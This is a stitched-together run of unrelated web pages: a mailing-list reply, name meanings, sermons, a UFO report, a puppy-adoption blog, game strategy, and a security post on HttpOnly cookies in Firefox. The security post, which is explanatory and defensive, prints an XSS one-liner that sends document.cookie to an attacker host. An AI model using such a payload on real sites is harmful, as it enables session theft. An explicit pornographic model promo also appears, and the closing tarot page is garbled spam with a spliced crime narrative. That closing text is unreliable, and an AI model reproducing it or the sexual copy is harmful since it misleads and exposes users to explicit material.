>>Judging by results so far, at least 2/3rds of us *do* write outside
>>our regular job.
>>Follow-up question: if you do, do you tell your employers that you do?
>> [...]
>I do if they ask. So far only about a third have asked. But since what I
>write is fiction, or things like annual reports and grant applications for
>non-profit community organizations, no one has complained.
Same with me - I do if they ask. Since my "outside" writing is purely for
fun, and done completely outside my office hours, I don't know why they
should bother.
However, I have not been asked during the interview for my current
position, and hardly ever at any other occasion.
October 3 and get a substantial discount! Program information,
online registration, and more on
+++ More info: +++
Previous by Author: Use Cases
Next by Author: Antwort: German dates?
Previous by Thread: RE: New TECHWR-L Poll Question
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Writing 35, via Andrew
University of Sussex Library.
Falmer, Brighton BN1 9RH.
Unisex restroom, basement.
From Sussex University, a long time ago:
My mother made me a lesbian.
For a message from the Vice Chancellor, press the red button (on the hot air dryer).
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Home > Dorrie
What does Dorrie mean?
Dorrie Pronunciation of Dorrie as a girls' name is of Greek origin, and the meaning of Dorrie is "a gift; beloved; adored; from Doris; gift". Dorrie is a variant form of Adora (Greek, Old German, Latin). Dorrie is also a variation of Dora (Greek): contraction of Dorothy. Dorrie is also used as a variation of Doris (Greek).
VARIANTS Dory, Dorry, Dorri, Dorie, Doria, Dori, Doree, Dorea, Dorah, Dorae
RELATIONS VIA ADORA, DORA, DORIS Dodee, Dodi, Dodie, Doralee, Doralia, Doralice, Dore, Doreen, Doreina, Dorelia, Dorelle, Dorena, Dorene, Dorette, Dorian, Dorice, Dorina, Dorine, Dorisa, Dorita, Dorlisa, Dorris, Dorrys, Dorys, Doryse
Dorrie Esther (D.E.), ..
How popular is Dorrie?
Dorrie is an uncommonly occurring given name for females. Dorrie is also an unusual surname for all people. (2000 U.S. DEMOGRAPHICS)
Dorrie was first listed in 1950-1959 and reached its apex position of #1942 in the U.S. then, but is not found in the list at the moment. (TOP BABY NAMES, 2016)
Top 2000 baby names ranking of Dorrie name in U.S.
Top 100 baby names ranking of Dorrie outside U.S.
Which version is better?
Prominent variation forms of Dorrie are Dodie, Dora (#1875 LAST YEAR), Doreen, Dorene, Dori, Dorian, Dorie, Dorine, Doris (#1759) and Dorris. Adoption of these relations of Dorrie was more pronounced among parents 96 years ago (AVERAGE #1197) and is now significantly less, with versions like Doreen becoming less stylish.
Top 2000 baby names ranking of Dorrie, Dodie, Dora, Doreen, Dorene in U.S.
Top 2000 baby names ranking of Dori, Dorian, Dorie, Dorine, Doris, Dorris in U.S.
Top 100 baby names ranking of Dorrie and related baby names outside U.S.
Similar Names
Dorrie is pronounced similarly to Dari, Daria, Darra, Darrah, Derry, Dorey, Doro, Dorria and Doura. Other suggested similar-sounding names are Arrie, Barrie, Berrie, Carrie, Cordie, Corie, Corlie, Cornie, Corri, Corrie, Corrin, Corrine, Darbie, Darcie, Darrbie (see Darby), Darsie, Derrin, Derrine, Docie, Dollie, Donnie, Dorcie, Dorit, Dorran, Dorreen, Dorrian, Dorrit, Dorrma (see Dorma), Dorsie, Doryne (see Doreen), Dottie, Doxie, Drue, Florrie, Gerrie, Harrie, Jerrie, Jordie, Jorie, Karrie, Kerrie, Korie, Korri, Korrie, Korrin, Korrine, Lorie, Lorrae, Lorree, Lorri, Lorrie, Lorrin, Merrie, Normie, Perrie, Terrie, Torie, Torree, Torri, Torrie and Torrye. These names tend to be more commonly used than Dorrie.
See names
in meaning and etymology.
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From the unofficial Duke TIP Wiki
Jump to: navigation, search
RC Winston Hayes Way, also know as Winston, Chad, Brad, Papa Brad, Dad, Chris, Daddy Big Boss, Mr. Way, Kyle, Natalie, Priscilla, and Father is a meme of a man and RC at Georgia Tech. He always dresses like a Chad. If you ever see Winston at a meal, you will see that he has several plates and several cups of water, which will most likely be wasted. If you have Winston as an RC, expect nightly RC group meetings to last no less than an hour.
Georgia Tech, Term One 2018
Winston's RC group at Georgia Tech Term One 2018, the Women Respecters, is well known for their record of respecting 52 women in one day. Jacob was an adopted member of this RC group. The women respecters participated in a sleepover on the last night, playing xbox throughout the night. David Rodgers and Ash both missed this sleepover for reasons unknown. The sleepover was attempted the night before, but was busted when RC’s heard yelling.
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Torah's Light
Hebrew Catholic Center
Faith Walk Center
About the Icon
About our Patron Saints
Contact Us
Association of Hebrew Catholics
This story was shared by Rev. Brian Cutshall at the Southern Ohio Church of God Prayer Conference on February 24, 2005.
The Church of God is a Pentecostal Denomination headquartered in Cleveland, TN. It is a leader in the Christian world, bringing millions to or Lord, Jesus Christ. and I am proud to be associated with it.
Journey up Sinai
The Story of a Minister's Ascent up Traditonal Mt. Sinai
sinai sunrise
Israel stood in awe, terrified to move, terrified to breathe as the mountain before them shook violently. At the summit, flames roared into the air. Thunder pealed and a shofar sounded with ever increasing intensity. Then—silence.
Just as suddenly, a voice crashed down the mountain. "I am the L-rd Your G-d Who brought you out of the Land of Egypt. Do Not have any other gods before me!" Israel trembled as God counted through each of His Ten Commandments. It would be an experience not soon forgotten
Three millenia later, a group of ministers stood at the foot of the traditional site of Mt. Sinai. Among them was Brain Cutshall of the Twin Rivers Church of God in St. Louis, MO. The sun had gone down and now they prepared for their ascent armed only with an Egyptian guide, flashlights, 45 minutes sleep, and each other. Rather than climbing the front of the mountain, the tourist side with manicured trails, they started up the back of the mountain. The leader of the group, Paul Walker of the Mt. Paran Church of God, warned his companions it would be a difficult and dangerous climb. He told them to be sure to put their feet exactly where the person ahead of them had put his.
Carefully, they climbed the mountain all night. Finally, they reached the top as the sun was rising. They stood, stunned at the beauty of the sunrise. Then they began the descent. On their way down, they saw their path bathed in the morning light. One by one they protested, "This can't be they way we came!" The guide reasssured them that this was the path they had taken.
One of them became overwhelmed by his fear of heights. He clung to the stone wall along the path crying. He said, "If I had known where you were taking me, I would have never come along."
As Rev. Cutshall told this story, he paused. "The Spirit of God quickened my spirit," he said. The pastor explained that's why God so often has to lead us in the dark. If He took us where He wanted us to go in the light, we might see the dangers. We might allow our hearts to be filled with fear. We might not follow.
We face many problems in our lives. The vicious faces. The angry faces. The gossips. The liars. The rebels. Still, the real dangers, the ones that would grip our heart with fear and freeze our faith in place, those dangers we never see. They are hidden from us by the mercy of God. If they were not, we would cling to the side of the path in terror, unable to advance, unable to serve. But we serve; we advance because we are lead in the dark through the dark one step at a time. We contiue by putting our feet where the foot ahead of us was. This foot is not the foot of an ordinary man. This foot has been this way before. The pierced foot belonged to Jesus, fully man and fully God—pierce to redeem us.
We have only to follow Him. He knows the way. He's been here before.
he that followeth me shall not walk in darkness, but shall have the light of life"—John 8:12
Jerusalem Time
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Reality Kings
Request Her
Model Information
When you're as sexy as ebony stunner Brandi, you're welcome everywhere, so it's no surprise that no matter where she goes, this hottie makes herself right at home! You'll think you're dreaming when Brandi settles in and starts removing items of clothing, but it's the kind of dream you'll never want to wake up from. This athletic beauty with the huge tits is extremely comfortable getting naked in front of her friends, or even people she's just met! Luckily for her fans, that comfort also extends to stripping down in front of a camera. With her bubbly, flirtatious personality, Brandi makes it seem perfectly natural that she's showing you her massive boobs and twerking her round ass, and before you know it, you'll be slipping into something more comfortable, too--like Brandi's tight pussy! Brandi may be one of the most easygoing babes you've ever met, but she's extremely serious when it comes to turning guys on, so why not sit back, relax, and let Brandi show you the comforts of home.
219 Likes, 12 Dislikes
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Skip to main content.
UFO Sighting Report - South Africa
1983 : Parkhurst, Johannesburg
UFOINFO Sighting Form Report
Location: Parkhurst (northern suburb of) Johannesburg South Africa
Date: 1983 - not sure which month - probably middle of year
Time: 4am Jhb, 4.30am Kimberley, 5am Cape Town
Number of witnesses: Thousands in Johannesburg, Kimberley, Cape Town
Number of objects: One massive one
Shape of objects: I saw what looked like a huge building on it's side with windows and protrusions. It looked similar to the UNISA building that you see as you drive into Pretoria, coming from Johannesburg. Newspaper reports describe as cigar shaped.
I'm not sure I saw the same thing as them but it was on same night at same time a few miles from the main sighting.
Weather Conditions: Clear
Description: My bed faced wall of glass, North/East facing. I woke and saw a huge thing with windows, filling half the sky moving left to right slightly towards us, over our roof going approximately North to South. It didn't make a noise, just a white sound like a vibration. I didn't think I had really seen it as I was half asleep. I got up and walked to the kitchen. I remember seeing a neon (ultraviolet)line of light shining on one wall opposite the bathroom. I looked into the bathroom and noticed the white metal window frame glowed an ultraviolet colour. When I came back from the kitchen it was gone. I told my husband that it must've been a dream but didn't feel like a dream and drew a picture for him in the morning,but he wasn't impressed. I showed his partner who came to fetch him, who was interested. Later I was driving around and saw news banners announcing UFO Sighted around SA, starting in Hillbrow at 4am, which is the direction in which it was headed - about 5+ kms south of our house.
TV/Radio: I obviously bought the paper, but the article and the drawing I made of the UFO have long since been lost. Not sure if it was THE RAND DAILY MAIL which no longer exists or THE STAR which does exist. The Public Library apparently keeps all old newspapers in its archive, but I can't seem to find the right department to get a copy and I live in Knysna, Western Cape now so I can't go there.
The paper had a fairly small article saying roughly: A huge cigar shaped UFO hovered above Hillbrow in Johannesburg, at 4am. (I think it also said "shining lights down onto people on their balconies" but I wonder if I'm remembering this properly - it seems so far fetched. (Hillbrow is a built up part of Johannesburg city).
The Planetarium and SABC phones were blocked. The Defence Force didn't have any answers. It was over Kimberley at about 4.30 and over Cape Town at 5am. Seen by thousands.
I never heard another word about it.
Just been watching the Larry King UFO programmes which prompted me to try to find that article.
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- a beautiful place
HttpOnly Cookies and Mozilla Firefox
July 28, 2006 at 12:04 am - Filed under Hacks, Language EN - 800 words, reading time ~2 minutes - Permalink - Comments
This is an english translation of "HttpOnly e Firefox" a whitepaper of my friend Stefano Di Paola written in italian.
Versione originale italiana:
XSS vulnerabilities are often used by attackers to steal user cookies. Once the offender has got the cookie there are various possible attacks like Session Hijacking. A classic way to collect user cookies using XSS vulnerabilities is the following:
<script>var img=new Image();img.src=\'http://badguy.tld/cookiecollect.php?c=\' document.cookie;</script>
This oneliner on a JavaScript enabled browser creates an image object and asks for its content from the specified url. If the site wich hosts the "image file" (in our case cookiecollect.php) is controlled by the attacker then he will steal cookies without the victim noticing it. To undestand the level of the threat you can think about sessions and about how these are used to mantain user's credentials during navigation (aka a stealed cookie usually permits you to gain the same privileges that the user had on the webapp, whatever they were "Guest User" or "Administration").
Microsoft has implemented, starting from Internet Explorer 6 Service Pack 1, a way to mitigate this problem: the HttpOnly keyword.
How it works: in the HTTP headers the server sends the cookie with the HttpOnly parameter (ex.: Set-Cookie: Session:12345; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly) and then on the client side Explorer notices this and inherbits the access to the cookie's data from JavaScript. Then it's impossible to access cookie value using document.cookie.
Nowadays are known many tecniques to bypass this restriction but with the needed hardening on the server side this vector of attacks results much mitigated if not completely resolved. Pay attention to the fact that here we are speaking only about blocking attacks targeted on cookies and not about resolving the whole XSS problem (and there are many many things an attacker can try to exploit using JavaScript that doesn't relay on a cookie value).
Now let's see Mozilla Firefox and his brothers: Firefox (a quanto pare) doesn't seem to have the intention of supporting the HttpOnly cookie flag.
One day with ascii we made some considerations about ways to detect and block XSS (read as XSS POC), lately I went deeper into the question.
Mozilla Firefox developers built a very easy and elastic framework of JavaScript functions, specifically they defined some functions for class and object prototypization and definition. We will use __defineGetter__ and __defineSetter__ on cookies to protect cookies against XSS on the client side.
__defineGetter__ : Permits to define a function that will be called when there will be a request for the value of a parameter or a variable.
__defineSetter__ : Permits to define a function that will be called every time a value is associated to a parameter or a variable.
Will block every request to the cookie value from JavaScript.
For example in php:
<?php session_start(); ?>
HTMLDocument.prototype.__defineGetter__(\"cookie\",function (){return \"sorry\";});
Will show an alert containing "sorry" in place of the original cookie value; internally Mozilla Firefox will mantain the original value intact.
And what about __defineSetter__?
This could be used to mitigate Session Fixation attacks and other tecniques based on cookie manipulation. If we don't want the cookie to be altered from JavaScript we can define something like:
HTMLDocument.prototype.__defineSetter__(\"cookie\",function (new){});
For example in php:
<?php session_start(); ?>
This approach is in realty poco effective because cookies can be redefined using:
<meta http-equiv=\"Set-Cookie\" content=\"value=n;path=/\">
In the case we filter proprely meta tags the setter tecnique disallow cookie manipulation via HTML.
Naturally setter and getter could be used to also block other funktions like XMLHttpRequest and similar but unluckly __defineGetter__ and __defineSetter__ aren't implemented on all the browsers (read MS IE). It could be interesting to use similar tecniques on IE.
(Per inciso) La traduzione e' stata resa possibile grazie la collaborazione di hobo.
Reed's Alert! Got something burning? Tell USH team.
THP USH Wisec DigitalBullets
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Saturday, June 8, 2013
This JUNE i present to you my...JUNI!
This JUNE, i present to you my.....
Yes,this is my puppy girl 'JUNI' <3 :) <3
The story in brief:
She was one of the litter of four which the street doggie whom i used to feed,delivered on the terrace of the old building infront of my home.
And NO,i did not take her in immedietly.It took me almost 4 months to take the decision.
Some one took two of them away and two of them remained.Some psychotic children from the neighbouring street tortured those two tiny babies in ways which i don't even want to talk about.Their mommy disappeared and i just couldn't let them stay out anymore.I sooooo badly wanted to make them mine but could not because of some personal reasons.I decided to foster them.They were around three months old by then.One day the girl puppy disappeared and i thought that some one stole her and she would never return.But one fine morning i found her sleeping at my door and happiness knew no bounds.This happened many times after that and i was clueless as to who was taking her away! Finally,one day i came to know that it was none other than a kid from my neighbouring street.Thereafter,i protected her like a treasure.After a month i came to know about "The Chennai Adoption Drive" which is an awesome non profit organisation for stray INdogs and is run by a network of friends.
Here's more info about them:
(Took from the 'about' section of their facebook page)
We're a family of passionate humans dedicated to increasing public awareness of Indian Strays we come across daily on the streets, being abused, hurt & tormented for the sole reason of being 'strays'. We aim to change peoples' perceptions of this misunderstood breed. Simply put, we love Indian Dogs & want what's best for them.Our Aim To reduce the stray dog population through getting homes for our Indian puppies, educate the public about ABC(Animal Birth Control ) and open people's minds to the happy & peaceful co-existence between us humans & these beautiful but misunderstood group of dogs.
I registered both of them for the drive which was going to happen in april.Took both of them there.Within an hour,the male puppy got adopted by a wonderful family.After a few hours,the team member along with an old man (who wanted a puppy for his family) approached juni and he decided to take her home.But before that,he went home to bring along the children from his family to take her.We waited till evening but he never came back.
Now,with a huge question mark in both our brains,we returned home.I was crying for two whole days after the drive because i was so attached to the male puppy which got adopted.The whole house seemed so empty without him because he was the naughtiest one.After those two days i returned to my senses and started thinking about her.
And after a week,my heart won over my brain.I decided that i will adopt her myself and no matter what,will never let HER face the world alone.
And now,SHE is the one who isn't letting ME face the world alone. <3 :* <3
For the first time when i just wanted one pup from the litter of 4 to play for a while,She was the one whom i got hold of.And later when she disappeared suddenly i thought that she was gone for good but she escaped from that kid and returned to me every single time.And finally,she was the one who remained after the male pup got adopted.And now,without even a tiny doubt i can say that SHE WAS MEANT TO BE MINE!
Happy ending :)
Here are some pics of them both.:
The first time i held her from the litter and bought her in to my home (for an hour,to play).
This the male puppy i was talking about.I used to call him monkey because he was sooooo naughty and playful.And he had his own style or should i say 'sleep' statement. :D
Time for some sibling love <3
<3 This is how my juni girl looks now.<3
Siri and Juni.
1. ohh such a heart touching story and what a cute little puppy JUNI :)
ur really a pet lover, like me ;p
1. And this is just a brief story.The full story is soooo long and even more heart touching.And ya..i am an ardent animal lover <3 :))
2. OMG...she is such a cutie!!!! Congrats on becoming Juni-momma :D
3. Sirii you are so cute! And Juni might just be a little cuter! :D
Love, LOVE the pictures and the story. She was meant to me yours!
Loads of love to you both! Mwaah
4. Beautiful, Juni surely knew who her real momma was and ensure she stayed with her for ever :) Congratulations to you both.... its pure love that calls for such stories to have a happy beginning :)
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Man's natural state is one of spiritual death. He exists, but he is without "life." "Dead in trespasses and sins" (Eph. 2:1). "Alienated from the life of God" (Eph. 4:18). "Dead while she liveth" (1 Tim. 5:6). "Ye have no life in you" (John 6:53). Such are the words used to describe the condition of the unconverted men, women, boys, and girls, living on earth. In eternity the unbeliever will still exist, but he "shall not see life" (John 3:36). "He that hath not the Son of God hath not life" (1 John 5:12).
Life — as used in the Scriptures — is more than mere existence. The paper of which a book is made exists, but it has no life. The lost will exist in endless woe, yet they "shall not see life." Endless existence belongs to saved and unsaved alike; eternal life is the portion of those who are in Christ alone. Wherever we read in the bible "hath eternal [or everlasting] life," it has reference to a condition of spiritual blessedness; wherever the lack of it is recorded, it involves separation from God and conscious misery. There is a natural life and there is a spiritual life, so likewise there is a natural death and there is a spiritual death. All the time that the prodigal was away from his father's house, he was regarded by his father as "dead," yet terribly alive in sin. His return and restoration is described as being made "alive again " (Luke 15:32). Spiritual death is the state of all the unregenerate: they are "alienated from the life of God" (Eph. 4:18). They abide in death (1 John 3:14) at enmity with God. At conversion the believer passes "from death unto life" (John 5:24), "from the power of Satan unto God" (Acts 26:18).
"The living God" (1 Tim. 4:10). "With Thee is the fountain of life" (Psalm 36:9). "The Father hath life in Himself " (John 5:26). The fountain was there, but no stream had yet come forth. "No man hath seen God at any time; the only begotten Son, which is in the bosom of the Father, He hath declared Him" (John 1:18). It remained for the Son to come forth and show unto us "that eternal life which was with the Father" (1 John 1:2).
Eternal Life Manifested.
"The life was manifested, and we have seen it" (1 John 1:2). "In Him was life; and the life was the light of men" (John 1:4). "God was manifest in the flesh" (1 Tim. 3:16). From the manger of Bethlehem to the Cross of Calvary, "the life" was manifested: in all spheres, among friends and foes, the life Divine shone forth, and at the close of that wondrous pathway the living One laid down His life for the sheep (John 10:15). "This is the true God and eternal life (1 John 5:20). Men in that first century had a tremendous privilege, and most knew it not. Eternal life walked among them, and was manifested before their eyes, in utter perfection.
Jesus was the "Prince of life." He took flesh and blood: He "was made in the likeness of men," yet He was different from all. "In Him there was no sin." He was not in that state of death, or separation from God, in which sin had placed all Adam's descendants. "As the Father hath life in Himself; so hath He given to the Son to have life in Himself" (John 5:26). Yet He could not share that life with others apart from death. His own words are, "Except a corn of wheat fall into the ground and die, it abideth alone: but if it die, it bringeth forth much fruit" (John 12:24). Let those who make great much of admiring the life of Jesus of Nazareth, but who reject His atoning death, or regard it as unnecessary, remember this: Like as the rock in the desert of old had to be smitten ere the stream could flow to quench the thirst of the needy host of Israel, so Christ must be "stricken, smitten of God, and afflicted" (Isaiah 53:4): He must die the sinner's death before He could make a way for man to share in eternal life now, and eternal glory hereafter.
Eternal Life Imparted.
"I am come that they might have life" (John 10:10). "The Son gives life whom He will" (John 5:21). "Believing ye might have life through His name" (John 20:31). "the gift of God is eternal life through Jesus Christ our Lord" (Rom. 6:23). When the sinner believes on Christ, he receives everlasting life (John 3:16).
When the Gospel is "put away" by the unbeliever, he judges himself unworthy of everlasting life (Acts 13:46), and abides in death. Although the full manifestation of that life awaits a future day, its present possession is the portion of all believers. The newborn believer and the mature "father" in Christ alike share it. There may be varied stages of growth, but the life is essentially the same in all. It is eternal life: it cannot be lost: it will not perish. It is received by faith. "He that believeth on the Son hath everlasting life" (John 3:36).
It is not given through sacraments; neither baptism nor the Lord's Supper have anything whatever to do with the communication of life. Baptism and the Lord's Supper are for the living, not for the still dead. The way of life is plain and clear. The Lord Jesus says, "He that heareth My Word, and believeth on Him that sent Me, hath everlasting life" (John 5:24). "They that hear shall live" (John 5:25). He, and He only, is the Live-giver; He does not delegate this to priest or parson. To Him, therefore, the sinner must go; there is "life" in no other. His Word to the unbeliever is, "Ye will not come to Me, that ye might have life" (John 5:40). Many go, to "Church" and "Sacrament" who have never been to Christ.
Eternal Life Possessed.
"He that hath the Son hath life" (1 John 5:12). "I give unto them eternal life; and they shall never perish" (John 10:28). "These things have I written unto you that believe on the name of the Son of God; that ye may know that ye have eternal life" (1 John 5:13). These Scriptures, and many others give definite testimony that the believer is already in possession of eternal life, and at no future period will he be without it, otherwise it would not be "eternal." "God hath given to us eternal life, and this life is in His Son" (1 John 5:11). "Your life is hid with Christ in God" (Col. 3:3). It cannot be touched by men or demons: its source is beyond their reach. The unscriptural theory that a saint may lose eternal life and finally perish can have no place where this is received as the truth of God. To make life dependent on the believer is to dishonor the Life-giver, and to make man his own preserver.
Eternal Life Exhibited.
As to its manifestation, this life is in the believer. He is called to manifest the "life of Jesus" in his mortal body (2 Cor. 4:10), and no longer the "old man." No more I that live, "but Christ liveth in me" (Gal. 2:20), ought to be practically, as it is judicially, the expression of the believer's experience. The treasure is yet in an "earthen vessel " — not as it yet shall be, in a glorified body — but this need not hinder it from being manifest. Men looking on may take knowledge that a new power dominates the man, although his place and surroundings among them remain unchanged. The body is the same. The members are as they formerly were, but a new power rules them. They are no longer the tools of sin, but, the instruments of righteousness unto God. The "spirit" that formerly energized them, when they were "children of disobedience" (Eph. 2:2), ceases to have control. It has been superseded by the "Spirit of God" who now indwells the bodies of saints. An illustration may help us here. There was in time past a certain house of rather questionable repute in a public part of this city. By-and-bye it changed owners. The new proprietor had the place gutted out and thoroughly cleaned, and in a few days we saw a large placard fixed in the window with the words "WILL BE OPENED UNDER ENTIRELY NEW MANAGEMENT." The old place stood outwardly as before, but a new kind of business, under a new manager, was henceforth carried on there. The body of the converted man is as it was in former days. His earthly calling, his home and surroundings may be the same, but he is now under new management. Divine life is in his mortal body, and the Spirit of God now guides and controls him.
Eternal Life in Prospect.
"The end everlasting life" (Rom. 6:22). "In hope of eternal life" (Titus 1:2). "Looking for the mercy of our Lord Jesus Christ unto eternal life" (Jude 21). These passages view eternal life in its finality. In resurrection the believer will enter upon life in a new sphere, in a body fitted for its full enjoyment. Here it dwells in mortal flesh, groaning for deliverance; there it will be at home in a "spiritual body," a vessel suited to its full and perfect manifestation, in that glory to which its possessor is even now called (1 Peter 5:10). The "life" will be the same then as now, but in the resurrection state it will be in other surroundings. There will be nothing to hinder it there as there is here. The saints will reign in life with Christ, and instead of sin and death, and the unceasing groan of a burdened creation, there will be the "all things new," "the river of the water of life" unceasingly flowing, the "tree of life" continuously bearing its fruits, and "no more death" in that "land of the living."
John Ritchie public domain
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Thank you for your donation
All donations to the Windber Area Community Kitchen (WACK) go directly to the programs
and overhead costs that support our mission.
Funding for this program is vital as we are serving over 4,000 meals annually.
As the number of meals grow, our need for funding increases.
Monetary donations can be submitted on-line via PayPal or via direct donation to our office at:
Windber Area Community Kitchen
1800 Stockholm Ave.
Windber, PA 15963
To make an on-line donation, please click on the “Donate” button below.
Thank you for your support!
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Novel Laryngoscope for Easier Intubation in Veterinary Applications
Epstein Ana, HUJI, Faculty of Agricultural, Food and Environmental Quality Sciences, The Koret School of Veterinary Medicine
Veterinary, Devices
Development Stage
Laboratory prototype used in procedures on dogs
• Novel laryngoscope is designed to be self-retaining and constructed in such a way that a veterinary anaesthetist has both hands free to intubate.
• Laboratory prototype proved extremely successful in procedures involving 500 dogs.
Our Innovation
• A laryngoscope that enables safe application of the laryngoscope by a single person and fixation of the mouth cavity in such a way that a single person can freely perform operations of intubation, inspection and surgery.
The picture illustrates how a team of assistants is required to apply a conventional laryngoscope in a dog. Anesthetized dogs usually lie on their side or back and the weight of the head is not sufficient to passively open the mouth. The laryngoscope of our invention allows visualization of the vocal cords and the blades stay open by themselves, freeing the hands of the operator to intubate.
Key Features
• May be inserted in an animal's mouth cavity when the animal lies on its side as is typical, and often more convenient, with animals.
• Varying lengths of the blades, handles, and bridge elements, depending on the size and kind of animal
• Simple, inexpensive design
Development Milestones
• Development of industrial prototype
• Clinical trials for registration and approval of the device
The Opportunity
• May also be used for human adults and children
Contact for more information:
Amichai Baron
VP, Head of Business Development, Agritech & Envir
Contact ME:
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When you buy things online, the process might seem simple. However, getting those products to you takes a little more intricate thought. Here is a video that blew my mind.
It's the robots (called the Kiva Robots) that fetch items from the Amazon.com warehouse. It's sad to see the human element nearly entirely eliminated (aside from the human pickers), but this is pretty incredible. I've worked in warehouses before, and this is a very complicated system that they make look so easy!
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Stepping It
In fighting games there's a certain element that stands as an amorphous blob. Rather, the players themselves have to deal with the ever changing and ever non-changing flow of "the game" which we call challenge.
In almost all fighting games, one strives to maximize damage to the opponent while minimizing damage to their own character. Sounds like simple logic, but the reality of things is not nearly as simple, because when you are face to face with an opponent you need to deal with things like reaction and anticipation and sometimes even luck. Frankly, you can't know the best possible action at any given moment, because that may or may not be what your opponent will do or what they want you to think they'll do. In fact, your opponent is trying their hardest to be better than you, and so they are making sure that you don't know what's coming next. Thus, there's usually more than one option at your opponent's disposal that they're trying hard to implement in order to ensure that you don't get it right every time. After all, isn't that what you try to do.
Actually, some well-seasoned players willingly sacrifice damage in order to lead in to ideal mixup/rushdown/pressure situations. So sometimes it's a really good idea to not maximize damage to the opponent in order to capitalize on human weakness.
Just take a look at any Tool-Assisted "Speed Run" of a fighting game and compare that to actual human matches, then it should be obvious to anyone why no one plays like that. Sure it'd be sweet to be right all the time, but we're human.
Situation: Let's assume you've been spotted on life and given a lead where the opponent has been knocked down and must stand directly up. This is such an ideal situation to anyone familiar with the genre that it needs barely any explanation. The words "Rush that shit down" should suffice. But I will elaborate in saying that in the grand spectrum of things you have the potential to hit from multiple different directions of your choosing, which makes the opponent have to either correctly block high-right(6), high-left(4), low right(3), low-left(1), or do an unblockable move such as a throw. This is a concept that I personally tend to call the 5-way. In a lot of games, you can't react to it. You might plainly think that if the player does a crossup you can just block the other way, which is only true if that's all your opponent ever does, but it's definitely not the case if your opponent switches between the 5 options to the point where you can not react or predict which way you need to block (or not block). You might then rely on trying reversals or other defensive/offensive options to try to get out of this so-called (in recent years) "vortex".
Because of this, there are an overwhelmingly large number of players that will mash an attack button in this situation, or hold up to jump, or try and execute a reversal, anything to "get out of having to block correctly". One might think the reason for this to be obvious: if you can't react then you have to guess, so guess away!
But none of these mashy options actually work in the long run, they typically end in fail initially or the risk/reward outweighs them in the end. Making it a bad idea.
However, there's quite a lot more going on than just that, in addition to the prospect of having to "deal with it" there's also the consideration that the setup is not free at all. Meaning, you can't just put yourself in the position to land the 5-way just because you pressed a button at the start of a match, rather you have to work for it. So that leads also to the argument that if you think it's bullshit to have to deal with a mixup, then don't get yourself in the position where you have to deal with it in the first place.
The 5-way is not guaranteed success because the opponent has a correct action to prevent damage, but the 5-way is in itself a potential reward for putting the opponent in that disadvantageous situation. Like saying: "I deserve this mixup, because I put you there.". While it's not guaranteed that you earn damage off it, the reward for good midrange is the potential to capitalize.
This leads to the concept of midrange, and how do you put the opponent at such a disadvantage that you can land the 5-way (or lesser-number ways thereof), or on the flipside to avoid the 5-way yourself. I've talked about this sort of concept from hither to far, but something that came up along those lines was "what happens next?". What this question actually plays out to is following general gameflow per each step successfully, and then stopping -- the trick here is that the player doesn't know it, or knows it and doesn't know how to move forward. Basically: intuitive failure.
In order to understand this concept however, you must learn the "No, you can't do that" (concept). This is a concept opposite of the 5-way, wherein the 5-way means there is no correct answer but to guess. The opposite being that there is a correct answer but you're forced to choose that option.
As said previously, a lot of players will mash in hopes that it works out of them, knowing that they can't block correctly. What your "nope" job is: "to knock it out of them". So hence the "no you can't do that" concept. To use an example, a SF4 player might knock the opponent down and do a safe jump to avoid a potential reversal uppercut. As seen with SF4 Ryu doing a sweep, then using an immediate jump roundhouse, it's safe because if the opponent reversal uppercut then Ryu can land and block but if the opponent doesn't reversal uppercut then they have to deal with the Ryu j.HK. This is the most blatant example of "no you can't do that", in the sense that: no, you can not mash out a reversal uppercut in this situation, it always fails.
Now granted this also falls along the lines of option selects which automatically choose the right/best option for you, or mindgames where the opponent is put in a position where every option he chooses ends in failure/damage, but to me it's simple because the opponent should never do the wrong thing so it's really a "no, don't" situation. I other words: just deal with it, and you won't get hit. Another way of putting it would be "here I am doing this, and if you don't take the right action you'll get hit, but I also have something else I can do instead -- deal".
This could also be seen as a process of elimination. This brings us to the point of what happens next. Well, the goal of minimizing self-damage while maximizing opponent-damage involves being right more than your opponent. In order to be right, you either have to be very lucky, very intuitive/psychic, and/or go through the process of elimination by taking advantage of the bad habits your opponent has while not faltering with your own set of bad habits.
What that means is stepping it up. Enforcing good habits. In the (glorious) example of pressuring your opponent into the corner, and instilling so much fear into them that they will not even attempt to poke with an attack in order to keep you out because they are afraid of the psychic dp (or some such other), the next step is: the ballpark is yours. Hit them with a high, throw them, do a low when you expect them to block high, jab them when you think they will try to throw break/tech, etc. At that point you've successfully gotten into their head and dominated: you're right, because everything running across their mind is wrong.
Your opponent is afraid to do anything because anything they do seems to lead to failure, you've done the process of elimination so much that they see each action as failure and take no action, but when they are afraid to do anything their inaction leaves them open to abuse, shenanigans, tomfoolery -- they are an open oyster.
- Copyright © Xenozip.
Anonymous said...
Regarding the concept of the 'vortex' itself. Do you do a component of the 4 way mixup based on the opponent's defensive habits or just wing it because they're guessing?
Dgo Orrego Hidalgo said...
I still playing SFA3 and still failing on the 5-ways reaction, some dudes are so random, dont even intuitive or genius, there are random players, you know them becouse they dont even safe jump. But you are right, sometimes we have to train defence too.
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Card Games
02 May 2018 20:54
Back to list of posts
It aids to use the identical deck for all your online readings in the beginning. Produce a boilerplate text file with a short description of every single card. Should you liked this article and also click through the following page you desire to obtain more information regarding click through the following page i implore you to stop by our webpage. It requires a bit of time but it will allow you to actually see the symbolism and correspondences on every single card. And speaking of symbolism and correspondences, make sure you study up and realize how they can aid your readings. After you are confident with your tarot cards, expand your knowledge by finding out basic numerology and astrological correspondences. Don't get oneself in a muddle by attempting to understand it all in one At this late hour of his life, Charlie Hess said the question Why?" didn't matter any longer. Right after all the years he spent in the F.B.I. tilting at the criminal thoughts, all his years in private practice operating lie-detector tests, his time extracting secrets as a C.I.A. agent in Vietnam, he was no longer interested in Why?" What counted had been straightforward, incontestable facts: who, when, where, what. Names, dates, areas cause and manner of death — these had been his goals as he attempted to flesh out the transgressions of a man who, by his own account, Click through the following Page killed 48 individuals. Robert, can you keep in mind what year that was? Was the physique north or south of the highway? Exactly where did you get the ice pick? Why?" was bottomless and slippery and frequently fraught with useless moral overtones. Why?" did not close click through the following page situations. Why?" was for intellectuals, and Charlie Hess had observed enough of them to say there had been two kinds of folks: intellectuals and those who got issues done.When you're 1st finding out to read Tarot cards , you sometimes despair of ever memorizing the meanings of 78 cards (not to mention the reversals). Tarot professional Liz Dean provides an overview to all of the important elements of every single card from symbols, to hyperlinks with astrology, kabbala and numerology. The Ultimate Guide to Tarot also includes all the classic tarot spreads - Celtic Cross, 